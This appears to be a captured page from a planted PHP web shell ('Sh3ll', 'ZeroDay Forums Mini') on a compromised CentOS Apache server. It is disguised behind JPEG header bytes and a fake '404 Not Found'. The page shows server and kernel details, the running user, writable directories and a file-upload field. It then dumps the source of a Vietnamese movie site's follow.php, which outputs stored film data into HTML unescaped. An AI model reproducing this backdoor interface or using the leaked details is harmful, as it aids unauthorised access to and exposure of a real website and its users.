����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/code/guest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/netphim/code/guest/follow.php
<?php
$type = $CORE->input['type'] ?? 'list';
$CORE->title_page = 'Phim đang theo dõi của tài khoản '.$ob_user->guest_fullname;
$where = " user_id='".intval($ob_user->user_id)."' ";
$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 36;
$from = (($pageNum * $pageSize) - $pageSize);
$t = $DB->fetch_row($DB->query("SELECT COUNT(*) as total FROM tb_follow WHERE ".$where));
$total = $t['total'];
$smarty->assign('total',$total);
$totalPage = ceil($total / $pageSize);
$q_follow = $DB->query("SELECT follow_id,phim_id,phim_data,time_post FROM tb_follow WHERE " . $where . " ORDER BY time_post DESC LIMIT $from,$pageSize");
$list_follow = '';
while($r_follow = $DB->fetch_row($q_follow)){
    $phim_id = $r_follow['phim_id'];
    $follow_id = $r_follow['follow_id'];
    if (!empty($r_follow['phim_data'])) {
        $arr_data = json_decode($r_follow['phim_data'], true);
        $list_follow .= '<div class="col-lg-3 col-md-4 col-sm-4 col-6 video position-relative mb-2">
                            <div class="card">
                                <a href="/' . $arr_data['phim_slug'] . '/"><img src="' . $arr_data['phim_thumb'] . '" class="card-img-top" alt="' . $arr_data['phim_name'] . '"></a>
                                <div class="card-body list-left-8-manga">
                                <div class="follow-action clearfix">
            <a href="javascript:void(0);" class="follow-link report-video-error text-danger" data-pid="' . $phim_id . '" data-id="' .$follow_id . '"><i class="fal fa-trash"></i> Bỏ theo dõi</a>
          </div>
                                    <p class="card-text title-manga"><a href="/' . $arr_data['phim_slug'] . '/" class="text-body" >' . $arr_data['phim_name'] . '</a></p>
                                </div>
                                <ul class="list-group list-group-flush" style="font-size: 12px;">
                                    <li class="list-group-item-custom list-group-item"><a href="/' . $arr_data['phim_slug'] . '/' . $arr_data['epi'] . '-' . $arr_data['epi_slug'] . '/" class="text-secondary list-2-chap" title="' . $arr_data['phim_name'] . '">Xem tiếp tập ' . ($arr_data['epi']+1) . '</a></li>
                                </ul>
                            </div>
                        </div>';
    }

}
$smarty->assign('list_follow',$list_follow);
$nav = $print->Pagination($totalPage,$pageNum,'pages','?act=guest&code=follow&type='.$type);
$smarty->assign('nav',$nav);
$title_page = 'Phim đang theo dõi của tài khoản '.$ob_user->guest_fullname;
$smarty->assign('title_page',$title_page);
$smarty->assign('des_page',str_replace('"',"'",strip_tags($arr_option['blogdescription'])));
$smarty->assign('image_page',$INFO['home_url'].$arr_option['share_image_website']);
$left_menu=left_menu();
$smarty->assign('left_menu',$left_menu);
?>

ZeroDay Forums Mini